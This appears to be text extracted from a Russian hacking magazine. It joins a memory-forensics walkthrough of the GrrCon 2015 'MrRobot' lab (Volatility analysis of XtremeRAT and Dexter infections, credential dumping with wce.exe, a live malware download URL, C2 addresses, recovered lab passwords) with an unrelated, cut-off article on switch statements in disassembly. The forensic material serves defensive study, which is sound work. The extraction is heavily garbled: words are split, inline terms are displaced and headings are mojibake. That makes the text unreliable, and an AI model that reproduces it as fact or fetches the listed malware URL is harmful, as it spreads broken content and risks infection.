Как ана лизи ровать заголов ки элек трон ных писем,
рас ска зыва ется в одной из наших .ста тей

Пись мо приш ло от поль зовате ля  и име ло тему

. Поле  харак теризу ет адрес отпра вите- 
ля, а так же показы вает, через какие узлы сооб щение прош ло.

th3wh1t3r0s3@gmail.com
Обновите ваш VPN клиент Received

На ходим пер вое поле  и узна ем, что сооб щение отправ лено с IP-

адре са . Как вид но из содер жимого, там при сутс тву ет ссыл ка
 для заг рузки фай- 

ла .

Received
10.114.2.82

http://180.76[.]254[.]120/AnyConnectInstaller.exe
AnyConnectInstaller.exe
Выг рузим этот файл из обра за памяти.

Фи зичес кий адрес фай ла AnyConnectInstaller.exe

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003df1cf00  -D c69-
Grrcon2015/target1/dumpfiles 

Мы получи ли файл . Возь мем MD5-сум му и про- 
верим на , что бы выяс нить пер вичную информа цию о фай ле.

file.None.0x85d1c6c0.img
VirusTotal

За тем про верим получен ный модуль с помощью .YARA-пра вил

Де тект выг ружен ного вре доно са

По лучен ный вре донос ный модуль отно сит ся к семей ству .XtremeRAT

Ана лизи руем даль ше. Теперь нам нуж но получить спи сок исполня емых
фай лов, запущен ных поль зовате лем. Для это го необ ходимо про ана лизи- 
ровать информа цию из клю ча  вет ки реес тра .
Для это го вос поль зуем ся пла гином userassist.

userassist NTUSER.DAT

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 userassist > c69-Grrcon2015/target1/
userassist 

Ин форма ция из userassist

Как вид но из рисун ка, в  поль зователь запус тил

заг ружен ный в поч товый кли ент файл . Пос ле
запус ка вре доно са зло умыш ленник получил дос туп к компь юте ру.

11:31:27 09.10.2015 UTC
AnyConnectInstaller.exe

Най дем методы зак репле ния на ском про мети рован ной машине. Для это го
вос поль зуем ся пла гином autoruns.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 autoruns > c69-Grrcon2015/target1/autoruns 

Ав тозапуск исполня емо го фай ла AnyConnectInstaller.exe

Что бы зак репить ся и обес печить работу пос ле перезаг рузки компь юте ра,
запус кают исполня емый файл , для это го в клю че

реес тра  было добав- 
лено зна чение . Про ведем неболь шой ана лиз фай ла, для чего заг- 

рузим его в IDA Pro.

AnyConnectInstaller.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\Run

MrRobot

Учас ток кода вре доно са

Вре донос ный файл исполь зует зна комые нам фун кции WinAPI
, , . При меня ется

тех ника ProcessHollowing для заг рузки кода в соз данный про цесс. Поведен- 
ческий ана лиз из информа ции на VirusTotal показы вает, что вре донос соз дает
про цесс с наз вани ем .

CreateProcessA GetThreadContext WriteProcessMemory

IEXPLORE.EXE

Ин форма ция о соз данном про цес се

Най дем этот про цесс в дереве про цес сов.

Ин форма ция о про цес се iexplore

Вре донос ный файл соз дал про цесс  с иден тифика тором ,

далее методом  заг рузил исполня емый код в этот про- 

цесс. Для ана лиза даль нейших дей ствий зло умыш ленни ка выг рузим дамп
про цес са с иден тифика тором .

iexplore.exe 2996
ProcessHollowing

2996
Най дем уни каль ное зна чение вре доно са в сис теме (Mutex). В Windows

есть объ ект ядра Mutant, который поз воля ет прог раммам син хро низи ровать- 
ся меж ду собой. Вре донос ные фай лы час то исполь зуют име нован ный
мьютекс для того, что бы пре дот вра тить пов торный запуск в сис теме.

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 handles -p 2996 -t MUTANT 

По иск соз данно го мьютек са про цес са iexplore.exe

Что бы пре дот вра тить пов торный запуск, вре донос ный модуль соз дал
мьютекс . Теперь получим NTLM-хеш поль зовате ля

, для чего вос поль зуем ся пла гином .

fsociety0.dat
Administrator hashdump

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 hashdump 

NTLM-хеш поль зовате ля Administrator

Вос ста новим даль нейшие дей ствия зло умыш ленни ка. Для это го вос поль- 
зуем ся пла гином .consoles

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 consoles >  c69-Grrcon2015/target1/
consoles 

Ре зуль тат вывода ути литы consoles

Зло умыш ленник заг рузил три основные ути литы в каталог :

 — редак тор учет ных дан ных Windows,  — прог рамма
для ска ниро вания локаль ной сети на наличие Windows-машин,

 поз воля ет получить спи сок сес сий залоги нен ных поль- 

зовате лей Windows и извлечь LM/NT-хеши.

C:\Windows\Temp
wce.exe nbtscan.exe

getlsasrvaddre.exe

С помощью ути литы  зло умыш ленник получил пароль

 поль зовате ля Administrator.

wce.exe
flagadmin@1234

По луче ние пароля поль зовате ля Administrator

Да лее зло умыш ленник залоги нил ся в сис теме от име ни адми нис тра тора
и запус тил коман дную обо лоч ку.

За пуск коман дной стро ки от име ни адми нис тра тора

Най дем дату соз дания ути литы . Для это го про ана лизи руем
MFT-таб лицу с исполь зовани ем пла гина .

nbtscan.exe
mftparser

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 mftparser | grep nbtscan.exe 

Ана лиз MFT-таб лицы

Да та соз дания ути литы: . Теперь пос мотрим
на содер жимое катало га . Там сре ди про чего обна ружи- 

вает ся файл .

2015-10-09 10:45:12 UTC
C:\Windows\Temp

nbs.txt

По иск фай ла nbs.txt

По лучим его содер жимое, вос поль зовав шись ути литой : адрес
фай ла в памяти .

dumpfiles
0x000000003fdb7808

python2 vol.py -f c69-Grrcon2015/target1/Target1-1dd8701f.vmss 
--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fdb7808 -D c69-
Grrcon2015/target1/dumpfiles 

Со дер жимое фай ла nbs.txt

Итак, мы выяс нили, что IP-адрес пер вой машины — . Про ана лизи- 

руем сетевую активность хос та, для это го вос поль зуем ся пла гином netscan.

10.1.1.2

Се тевая активность

Вре донос ный про цесс  с иден тифика тором  вза имо дей- 
ству ет с управля ющим сер вером по адре су . Далее зло- 

умыш ленни ки под клю чились к хос ту  по про токо лу RDP. Что бы

управлять ском про мети рован ной машиной, ата кующие уста нови ли на нее
.

iexplore.exe 2996
180.76.254.120:22

10.1.1.21

TeamViewer.exe
На дан ном эта пе мы про ана лизи рова ли опе ратив ную память хос та Target1,

наш ли точ ку вхо да в сеть орга низа ции. Исполь зуя фишин говое сооб щение,
содер жащее заголо вок пись ма , зло умыш ленник

 отпра вил вре донос ную ссыл ку. Поль зователь

машины Target1 заг рузил исполня емый файл ,
пос ле запус ка которо го ата кующий уста новил кон троль над компь юте ром.
Затем он заг рузил допол нитель ные ути литы и повысил при виле гии в сис теме.
Наконец, зло умыш ленник под клю чил ся к хос ту  по про токо лу RDP,
исполь зуя пароль  поль зовате ля .

Udate your VPN Client
th3wh1t3r0s3@gmail.com

AnyConnectInstaller.exe

10.1.1.21
flagadmin@1234 Administrator

Продолжение статьи →
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УРОКИ ФОРЕНЗИКИ
РАССЛЕДУЕМ КИБЕРИНЦИДЕНТ MRROBOT

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÑÑËÅÄÎÂÀÍÈÅ ÌÀØÈÍÛ TARGET2

По лучим пер вичную информа цию об иссле дуемом обра зе.

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss 
imageinfo 

Ин форма ция об опе раци онной сис теме

  
python2 vol.py -f /mnt/c/Users/DonNod/Downloads/c69-Grrcon2015/
target2/target2-6186fe9f.vmss --profile=Win7SP1x86_23418 printkey -K
"ControlSet001\Control\ComputerName\ComputerName"

Имя компь юте ра

cpip
python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss 
--profile=Win7SP1x86_23418 printkey -K ControlSet001\Services\T \P
arameters\Interfaces{e29ac6c2-7037-11de-816d-806e6f6e6963}

IP-адрес хос та

Про филь опе раци онной сис темы — , IP-адрес хос та —
, имя компь юте ра — . Теперь вос ста новим пос ледова- 

тель ность дей ствий зло умыш ленни ка на ском про мети рован ном компь юте ре.
Для начала получим информа цию из кон соли.

Win7SP1x86_23418
10.1.1.21 GIDEON-PC

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss 
--profile=Win7SP1x86_23418 consoles >  c69-Grrcon2015/target2/
consoles 

Вы вод пла гина consoles

Зло умыш ленник заг рузил ути литу  и получил пароли поль зовате лей

в сис теме. Пос мотрим, что хра нит ся в фай ле . Для это го выг рузим его

так же, как выг ружали для хос та .

wce.exe
w.tmp

Target1

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss 
--profile=Win7SP1x86_23418 filescan >  c69-Grrcon2015/target2/
filescan 

Ад рес фай ла  в иссле дуемом обра зе — .w.tmp 0x000000003fcf2798

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss 
--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fcf2798 -D c69-
Grrcon2015/target2/dumpfiles 

Со дер жимое фай ла w.tmp

Мы опре дели ли пароль поль зовате ля  — .gideon t76fRJhs
Да лее ата кующий при мон тировал сис темный диск кон трол лера домена 

, исполь зуя пароль поль зовате ля . Ско пиро вал

прог рамму архи вато ра  и соз дал на при мон тирован ном дис ке пап ку
.

\\
10.1.1.2\c$ Administrator

rar.exe
crownjewels

Пос ле это го зло умыш ленник заар хивиро вал все фай лы с рас ширени ем 

 на дис ке и задал пароль от архи ва . Архив получил имя

. Так как на иссле дуемом хос те архив не хра нит ся и он
откры вал ся толь ко из коман дной стро ки, то информа цию о сжа тых фай лах
мож но поис кать в памяти про цес са. Получим дамп про цес са и най дем в нем
все фай лы с рас ширени ем .

.
txt 123qwe!@#
crownjewlez.rar

.txt

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss 
--profile=Win7SP1x86_23418 pstree >  c69-Grrcon2015/target2/pstree 

Де рево про цес сов

Сдам пим адресное прос транс тво про цес са с иден тифика тором .3048

python2 vol.py -f /mnt/c/Users/DonNod/Downloads/c69-Grrcon2015/
target2/target2-6186fe9f.vmss --profile=Win7SP1x86_23418 memdump -p 
3048 -D /mnt/c/Users/DonNod/Downloads/c69-Grrcon2015/target2/ 

Вы ведем стро ки в получен ном фай ле, но пом ним, что они в 16-бит ной
кодиров ке.

 strings -e l 3048.dmp | grep -i 3048.dmp 

Об наружен ные фай лы с рас ширени ем txt в дам пе про цес са

Про ана лизи руем Tasks Shedulers. Най дем фай лы  и выг рузим их.tasks

Об наружен ный файл задачи At1

Ад рес фай ла At1 — .0x000000003fc399b8

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss 
--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003fc399b8 -D c69-
Grrcon2015/target2/dumpfiles 

Со дер жимое задачи At1

С помощью пла ниров щика задач зло умыш ленник запус тил скрипт . Выг- 

рузим его, адрес фай ла в памяти — .

1.bat
0x000000003f427e50

python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss 
--profile=Win7SP1x86_23418 dumpfiles -Q 0x000000003f427e50 -D c69-
Grrcon2015/target2/dumpfiles 

Со дер жимое фай ла 1.bat

Скрипт  запус кает ути литу .1.bat wce.exe
Мы про ана лизи рова ли образ опе раци онной сис темы на компь юте ре

Target2, вос ста нови ли дей ствия зло умыш ленни ка. Пос ле ком про мета ции сис- 
темы выг рузили фай лы с рас ширени ем  на кон трол лере домена 

, сох ранили в запаро лен ный архив, а так же получи ли пароль поль зовате ля

.

.txt 10.1.1.
2
gideon

ÀÍÀËÈÇ ÕÎÑÒÀ POS

По лучим пер вичную информа цию об иссле дуемой сис теме.

python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss imageinfo 

Про филь иссле дуемо го обра за

 
python2 vol.py -f c69-Grrcon2015/target2/target2-6186fe9f.vmss 
--profile=Win7SP1x86_23418 printkey -K "ControlSet001\Services\Tcpip\
Parameters\Interfaces{e29ac6c2-7037-11de-816d-806e6f6e6963}"

IP-адрес хос та

  
python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss --profile
=Win7SP1x86_23418 printkey -K "ControlSet001\Control\ComputerName\C
omputerName"

Имя компь юте ра

Про филь иссле дуемо го обра за — , IP-адрес хос та —
, имя компь юте ра — .

Windows7SP1x86_23418
10.1.1.10 POS-01-PC

По лучим информа цию обо всех запущен ных про цес сах и сетевой
активнос ти.

python2 vol.py  -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss 
--profile=Win7SP1x86_23418 pstree > c69-Grrcon2015/pos01/pstree 

Про цесс iexplore.exe

На ходим про цесс  с иден тифика тором . Запус тим пла гин

malnd для поис ка внед ренно го в адресное прос транс тво про цес сов кода.

iexplore.exe 3208

python2 vol.py  -f /mnt/c/Users/Forensics/Downloads/c69-Grrcon2015/
pos01/POS-01-c4e8f786.vmss --profile=Win7SP1x86_23418 malfind > /mnt/
c/Users/Forensics/Downloads/c69-Grrcon2015/pos01/malfind 

Ра бота ути литы malnd

Из рисун ка выше вид но, что в про цес се  с иден тифика тором

 обна руже на область памяти с защитой на запись, чте ние и выпол нение,
а так же виден заголо вок  (magic byte исполня емо го фай ла). Мы на вер ном

пути. Поп робу ем выг рузить этот код с помощью пла гина malnd и най дем
пер вичную информа цию о вре доно се.

iexplore.exe
3208

MZ

python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss --profile
=Win7SP1x86_23418 malfind -p 3208 -D c69-Grrcon2015/pos01/ 

Вы ясним MD5-хеш получен ного фай ла:
 — и най дем его на VirusTotal.491e1a4b51a09d234c9356822cf521a7

Дан ный модуль отно сит ся к семей ству вре доно сов .Dexter
Най дем сетевое вза имо дей ствие с управля ющим сер вером.

python2 vol.py  -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss 
--profile=Win7SP1x86_2 3418 netscan > c69-Grrcon2015/pos01/netscan 

Се тевое вза имо дей ствие про цес са iexplore.exe

Вре донос ный про цесс уста новил соеди нение с управля ющим сер вером,
име ющим IP-адрес , по пор ту .54.84.237.92 80

Да вай получим дамп адресно го прос транс тва про цес са с иден тифика- 
тором  и вытащим все URL-адре са, для чего будем исполь зовать ути литу

bulk_extractor.

3208

 ./ 
python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss --profile
=Win7SP1x86_23418 memdump -p 3208 -D

Мы получи ли файл . Запус тим ути литу bulk_extractor.3208.dmp

bulk_extractor 3208.dmp -o bulk_ex 

В катало ге  хра нит ся вся извле чен ная струк туриро ван ная информа- 

ция, получен ная из фай ла . В фай ле  содер жатся

все домены, а так же чис ло обра щений к ним.

bulk_ex
3208.dmp url_histograms

Заг рузка вре донос ного модуля

Мо дуль заг ружал ся с адре са ,

ори гиналь ное имя фай ла — . Так же для поис ка URL
в фай ле  мож но вос поль зовать ся регуляр ным выраже нием 

 и пла гином yarascan.

http://54.84.237.92/allsafe_update.exe
allsafe_update.exe

3208.dmp /(
https?:\/\/)?([\w\.-]+)([\/\w \.-]*)/

  “/ ? -]+  -]
/” 

python2 vol.py -f c69-Grrcon2015/pos01/POS-01-c4e8f786.vmss --profile
=Win7SP1x86_23418 yarascan -Y (https?:\/\/) ([\w\. )([\/\w \. *
) -p 3208 

Поп робу ем най ти все фай лы с рас ширени ем  в адресном прос транс тве

дам па про цес са. Откро ем файл в hex-редак торе.

.exe

Об наружен ные фай лы с рас ширени ем exe

Спе цифич ное имя исполня емо го фай ла для Allsafecybersec —
. Мы иссле дова ли образ опе ратив ной памяти хос та

POS, обна ружи ли вре донос ный про цесс с иден тифика тором , выяви ли

сетевую активность с управля ющим сер вером . Заг ружен ный

модуль отно сит ся к семей ству вре донос ных прог рамм Dexter.

allsafe_protector.exe
3208

54.84.237.92

ÂÛÂÎÄÛ

Итак, мы вос ста нови ли дей ствия зло умыш ленни ков, про ана лизи ровав обра- 
зы сис темной памяти Windows. С помощью фишин гового сооб щения, содер- 
жащего ссыл ку на обновле ния VPN-кли ента, поль зователь хос та заг рузил
вре донос ный файл и запус тил его. На машину уста новил ся вре донос семей- 
ства XtremeRAT, с его помощью зло умыш ленни ки управля ли ском про мети- 
рован ной машиной.

Да лее ата кующие получи ли пароль поль зовате ля 
и . Для зак репле ния в сис теме исполь зовалась вет ка реес тра

. Ком про мета ция сис- 

темы про изош ла в . С помощью учет ной записи
 зло умыш ленник получил дос туп к хос там  и 

. На компь юте ре  ата кующий при мон тировал сис темный диск

кон трол лера домена  и выг рузил три фай ла с рас ширени ем 

. Далее ата кующий получил дос туп к компь юте ру  и заг рузил
на него мал варь семей ства Dexter.

front-desk
Administrator

SOFTWARE\Microsoft\Windows\CurrentVersion\Run
11:31:27 09.10.2015 UTC

Administrator GIDEON-PC POS-
01-PC GIDEON-PC

10.1.1.2\$c .
txt POS-01-PC

https://www.virustotal.com/gui/file/bf067ffc68f3f1c23bc3402e4494d83e738cc6e158c4f57176b4f5def412e056
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ВЗЛОМ

В этой статье мы изу чим опе ратор выбора . Давай
раз берем ся, какие фор мы он может при нять в дво ичном
коде, как раз ные ком пилято ры тран сли руют его и как его
най ти в дизас сем бли рован ном коде по харак терным приз- 
накам.

switch

Фундаментальные основы хакерства
Пят надцать лет назад эпи чес кий труд Кри са Кас пер ски «Фун дамен таль ные
осно вы хакерс тва» был нас толь ной кни гой каж дого начина юще го иссле дова- 
теля в области компь ютер ной безопас ности. Одна ко вре мя идет, и зна ния,
опуб ликован ные Кри сом, теря ют акту аль ность. Редак торы «Хакера» попыта- 
лись обно вить этот объ емный труд и перенес ти его из вре мен Windows
2000 и Visual Studio 6.0 во вре мена Windows 10 и Visual Studio 2019.

Ссыл ки на дру гие статьи из это го цик ла ищи на .стра нице авто ра

ÈÙÅÌ ÎÏÅÐÀÒÎÐÛ SWITCH — CASE — BREAK Â ÁÈÍÀÐÍÎÌ ÊÎÄÅ

Для улуч шения читабель нос ти прог рамм в язык C был вве ден опе ратор мно- 
жес твен ного выбора — . В Delphi с той же самой задачей справ ляет ся
опе ратор , более гиб кий, чем его C-ана лог, но об их раз личи ях мы

погово рим поз днее.

switch
CASE

Лег ко показать, что  экви вален тен такой конс трук ции:switch

«

»

IF (a == x ) THEN îïå ðàòîð  

ELSE IF (a == X ) THEN îïå ðàòîð  

IF (a == X ) THEN îïå ðàòîð  

IF (a == X ) THEN îïå ðàòîð  

ELSE ... îïå ðàòîð ïî óìîë ÷àíèþ

1 1

2 2

2 2

2 2

Ес ли изоб разить это вет вле ние в виде логичес кого дерева, то обра зует ся
харак терная «косич ка».

Тран сля ция опе рато ра switch в общем слу чае

Ка залось бы, иден тифици ровать  никако го тру да не сос тавит — даже

не строя дерева, невоз можно не обра тить вни мание на длин ную цепоч ку
гнезд, про веря ющих истинность усло вия равенс тва некото рой перемен ной
с сери ей непос редс твен ных зна чений (срав нения перемен ной с дру гой
перемен ной опе ратор  не допус кает).

switch

switch
Од нако в реаль ной жиз ни все про исхо дит сов сем не так. Ком пилято ры

(даже неоп тимизи рующие) тран сли руют  в нас тоящий «мяс ной рулет»,
довер ху наш пигован ный все воз можны ми опе раци ями отно шений. Давай
откомпи лиру ем сле дующий код ком пилято ром Microsoft Visual C++ 2022:

switch

#include <stdio.h>

 int main()
{
      int a = 0x666;

    switch (a)
   {
    case 0:
       printf("a == 0");
       break;
    case 1:
       printf("a == 1");
       break;
    case 2:
       printf("a == 2");
       break;
    case 0x666:
       printf("a == 666h");
       break;
   default:
       printf("Default");
   }
}

Вы вод при ложе ния switch_cases

Те перь пос мотрим в IDA на резуль тат дизас сем бли рова ния.

Де рево рас пусти ло вет ки во все сто роны. Мож но сде лать однознач ный
вывод: в дизас сем бли руемой прог рамме при сутс тву ет опе ратор мно -
жес твен ного выбора switch-case

  main            proc near ; CODE XREF: __scrt_common_main_seh+107↓p
                         ; DATA XREF: .pdata:0000000140004018↓o
; Объявляем две локальные переменные,
; но почему две, если в исходном коде объявлена только одна?

   var_18          = dword ptr -18h
   var_14          = dword ptr -14h

; Резервируем место для локальных переменных
                     sub rsp, 38h

; Инициализируем локальные переменные:
; var_14 присваиваем значение 0х666, следовательно, это переменная a

                     mov [rsp+38h+var_14], 666h
                     mov eax, [rsp+38h+var_14]

Пе ремен ной  прис ваиваем это же зна чение. Обра ти вни мание: ее

соз дает опе ратор  для собс твен ных нужд. Зна чит, мы опре дели ли,
для чего в прог рамме объ явле на вто рая локаль ная перемен ная! Она нуж на
для хра нения пер воначаль ного зна чения. Таким обра зом, даже если зна- 
чение срав нива емой перемен ной  в каком-то ответ вле нии  будет
изме нено, это не пов лияет на резуль тат выборов, пос коль ку зна чение
перемен ной  не поменя ется!

var_18
switch

var_14 CASE

var_18

                   mov [rsp+38h+var_18], eax

; Сравниваем значение var_18 с нулем
                     cmp [rsp+38h+var_18], 0

; Если сравнение успешно, переходим в блок кода, выводящий в консоль 
"a == 0"
; Этот код получен трансляцией ветки case 0: printf("a == 0");
; Иначе продолжаем выполнение

                jz      short loc_140001115
; Сравниваем значение var_18 с 1

                     cmp [rsp+38h+var_18], 1
; В случае успеха прыгаем внутрь блока кода для вывода "a == 1"
; Этот код получен трансляцией ветки case 1: printf("a == 1");
; Иначе продолжаем выполнение

                jz      short loc_140001123
; Сравниваем значение var_18 с 2

                     cmp [rsp+38h+var_18], 2
; В случае равенства выводим "a == 2"
; Этот код получен трансляцией ветки case 2: printf("a == 2");
; Иначе продолжаем выполнение

                jz      short loc_140001131
; Сравниваем var_18 и 0x666

                     cmp [rsp+38h+var_18], 666h
; Если равно, выводим "a == 666h"
; Этот код получен трансляцией ветки case 0x666: printf("a == 666h");

                jz      short loc_14000113F

Ес ли мы досюда доб рались, зна чит, ни одно усло вие не сра бота ло, поэто му
выпол няем дефол тное дей ствие: дела ем безус ловный переход в блок кода
для вывода строч ки Default.

Этот код получен тран сля цией вет ки :default: printf("Default");

                   jmp short loc_14000114D

; ------------------------------------------------
loc_140001115:                          ; CODE XREF: main+19↑j
; printf("a == 0");

                         lea rcx, _Format ; "a == 0"
                   call printf

А вот этот безус ловный переход, вынося щий управле ние за пре делы
 — в конец прог раммы, есть опе ратор , находя щий ся в кон це

каж дой вет ки. Если бы его не было, то начали бы выпол нять ся все осталь ные
вет ки , незави симо от того, к какому зна чению  они при над лежат!

switch break

case var_18

                    jmp short loc_140001159 ; break

; ------------------------------------------------
loc_140001123:                          ; CODE XREF: main+20↑j
; printf("a == 1");

                     lea rcx, aA1        ; "a == 1"
                   call printf

                      jmp short loc_140001159 ; break
; ------------------------------------------------
loc_140001131:                          ; CODE XREF: main+27↑j
; printf("a == 2");

                     lea rcx, aA2        ; "a == 2"
                   call printf

                      jmp short loc_140001159 ; break
; ------------------------------------------------
loc_14000113F:                          ; CODE XREF: main+31↑j
; printf("a == 666h");

                          lea rcx, aA666h ; "a == 666h"
                   call printf

                      jmp short loc_140001159 ; break
; ------------------------------------------------
loc_14000114D:                          ; CODE XREF: main+33↑j
; printf("Default");

                        lea rcx, aDefault ; "Default"
                   call printf

 loc_140001159: ; Конец SWITCH           ; CODE XREF: main+41↑j
                                       ; main+4F↑j ...
; Возвращаем 0

                     xor eax, eax
; Восстанавливаем стек

                     add rsp, 38h
               retn
main            endp

Выг лядит доволь но пря моли ней но. Дизас сем блер ный лис тинг мож но условно
раз делить на две час ти: пер вая часть — сам опе ратор выбора, отку да каж дое
усло вие переда ет управле ние во вто рую часть — кон крет ную вет ку, соот ветс- 
тву ющую это му усло вию.

Для срав нения взгля нем, какой код пос тро ит C++Builder 10 на осно ве этой
же прог раммы:

              public main
  main            proc near ; DATA XREF: __acrtused+29↑o

; Как много локальных переменных!
   var_38          = dword ptr -38h
   var_34          = dword ptr -34h
   var_30          = dword ptr -30h
   var_2C          = dword ptr -2Ch
   var_28          = dword ptr -28h
   var_24          = dword ptr -24h
   var_20          = dword ptr -20h
   var_1C          = dword ptr -1Ch
   var_18          = dword ptr -18h
   var_14          = dword ptr -14h
   var_10          = qword ptr -10h
   var_8           = dword ptr -8
   var_4           = dword ptr -4

; Открываем кадр стека
                   push rbp

; Резервируем место для локальных переменных
                     sub rsp, 60h

; В RBP сохраняем указатель на дно стека
                     lea rbp, [rsp+60h]

; Инициализируем локальные переменные:
                     mov [rbp+var_4], 0
                     mov [rbp+var_8], ecx
                     mov [rbp+var_10], rdx

; var_14 присваиваем значение 0х666, следовательно, это переменная a
                     mov [rbp+var_14], 666h

; В ECX помещаем значение var_14
                     mov ecx, [rbp+var_14]

; Следующим элегантным образом сравниваем значение var_14 с нулем
                    test ecx, ecx

Ко ман да  не меня ет зна чение опе ран дов, поэто му прис ваиваем
перемен ной  зна чение . Выходит,  — авто мати чес кая

перемен ная, соз данная  для сво ей работы, что бы при изме нении

 внут ри какой-либо вет ки кода это не пов лияло на даль нейший выбор
пути выпол нения.

TEST
var_18 0х666 var_18

switch
var_14

             mov [rbp+var_18], ecx

Со вер шаем пры жок сле дующей коман дой толь ко в том слу чае, ког да
в резуль тате выпол нения пре дыду щего срав нения флаг  стал равен еди- 

нице, а это мог ло про изой ти, толь ко ког да опе ранд равен нулю. Но в рас- 
смат рива емом при мере это не так, поэто му про пус каем пры жок.

ZF

              jz      short loc_401454

Су дя по мес ту наз начения это го перехо да, код получен тран сля цией вет ки
.case 0: printf("a == 0");

По идее, от сле дующей инс трук ции мож но изба вить ся. Нап расно ком- 
пилятор ее вста вил, пос коль ку она ничего полез ного не дела ет, а толь ко
занима ет мес то. Посуди сам:  ука зыва ет на текущую позицию в прог рамме,

а коман да  занима ет два бай та — получа ется, она толь ко перево дит
выпол нение через себя.

$
jmp

                   jmp short $+2

; ------------------------------------------------
 loc_40142B: ; CODE XREF: main+29↑j

; В var_18 находится число 0х666, помещаем его в EAX
                     mov eax, [rbp+var_18]

; Уменьшаем EAX на единицу! Что это может значить?
; Никакого вычитания в нашей программе не было!

                     sub eax, 1
; Сохраняем значение разности в переменной var_1C

                     mov [rbp+var_1C], eax

Со вер шаем сле дующий переход на осно ве фла га, если , но кто же

его уста новил? Вспо мина ем:  — та же , толь ко изме няющая зна чение
опе ран да-при емни ка. Дру гими сло вами, в него помеща ется раз ность. Но в
нашем слу чае  не равен еди нице, так как резуль тат вычита ния не равен

нулю. Выходит, этот код получен тран сля цией вет ки 
, что под твержда ет прос мотр области, куда ука зыва ет переход.

ZF == 1
SUB CMP

ZF
case 1: printf("a == 

1")
Та ким обра зом, дан ная конс трук ция прос то заву али рован ная про вер ка
 на равенс тво нулю! Ох и хит рый же этот C++Builder-ком пилятор!EAX

              jz      short loc_401465

; Делаем принудительный шаг вперед, хотя можно было бы обойтись без 
дополнительной команды

                     jmp short $+2
; ------------------------------------------------
loc_401438:                             ; CODE XREF: main+36↑j
; В var_18 находится число 0х666, помещаем его в EAX для выполнения 
дальнейших вычислений

                     mov eax, [rbp+var_18]

Вы чита ем из зна чения  2, ины ми сло вами, исхо дя из нашего ана лиза
выше, срав нива ем зна чение перемен ной  с чис лом 2. Выходит, этот

код получен тран сля цией вет ки .

var_18
var_18

case 2: printf("a == 2")

                   sub eax, 2
                   mov [rbp+var_20], eax

Пе реход выпол няет ся, если уста нов лен флаг нуля. А он будет уста нов лен, ког- 
да пос ле вычита ния двой ки коман дой  в  оста нет ся ноль, то есть

исходное зна чение  дол жно быть рав но двум. Но это го не слу чилось.

Поэто му про дол жаем выпол нение.

SUB EAX
EAX

              jz      short loc_401476
                   jmp short $+2

; ------------------------------------------------
loc_401445:                             ; CODE XREF: main+43↑j

                     mov eax, [rbp+var_18]

Срав нива ем неиз менную  с . Бин го! Пос ле вычита ния получил ся

ноль! Сле дова тель но, воз водим флаг .

var_18 0x666
ZF

                   sub eax, 666h
                   mov [rbp+var_24], eax

Так как флаг  равен еди нице, совер шаем переход к вет ке , где

про исхо дит вывод стро ки . Зна чит, этот код получен пос ле тран- 
сля ции вет ки .

ZF loc_401487
"a == 666h"

case 0x666: printf("a == 666h");

              jz      short loc_401487

Ес ли бы пре дыду щий переход не был выпол нен, то с помощью сле дующе го
безус ловно го перехо да мы бы сде лали пры жок на вет ку .Default

                   jmp short loc_401498
; ------------------------------------------------
; Сами ветки
loc_401454:                             ; CODE XREF: main+27↑j
; printf("a == 0");

                     lea rcx, aA0        ; "a == 0"
                   call printf

                     mov [rbp+var_28], eax
                      jmp short loc_4014A7 ; break

; ------------------------------------------------
loc_401465:                             ; CODE XREF: main+34↑j
; printf("a == 1");

                     lea rcx, aA1        ; "a == 1"
                   call printf

                     mov [rbp+var_2C], eax
                      jmp short loc_4014A7 ; break

; ------------------------------------------------
loc_401476:                             ; CODE XREF: main+41↑j
; printf("a == 2");

                     lea rcx, aA2        ; "a == 2"
                   call printf

                     mov [rbp+var_30], eax
                      jmp short loc_4014A7 ; break

; ------------------------------------------------
loc_401487:                             ; CODE XREF: main+50↑j
; printf("a == 666h");

                          lea rcx, aA666h ; "a == 666h"
                   call printf

                     mov [rbp+var_34], eax
                      jmp short loc_4014A7 ; break

; ------------------------------------------------
loc_401498:                             ; CODE XREF: main+52↑j
; printf("Default");

                        lea rcx, aDefault ; "Default"
                   call printf

                     mov [rbp+var_38], eax
 loc_4014A7: ; конец switch              ; CODE XREF: main+63↑j

                                       ; main+74↑j ...
; Возвращаем 0

                     mov [rbp+var_4], 0
                     mov eax, [rbp+var_4]

; Восстанавливаем стек
                     add rsp, 60h

; Закрываем кадр стека
                    pop rbp

               retn
main            endp

C++Builder про явил боль шую кре атив ность. Срав нил перемен ную с нулем он
при помощи инс трук ции , а для всех осталь ных слу чаев вмес то инс трук- 

ции , как это сде лал Visual C++, C++Builder вос поль зовал ся коман дой

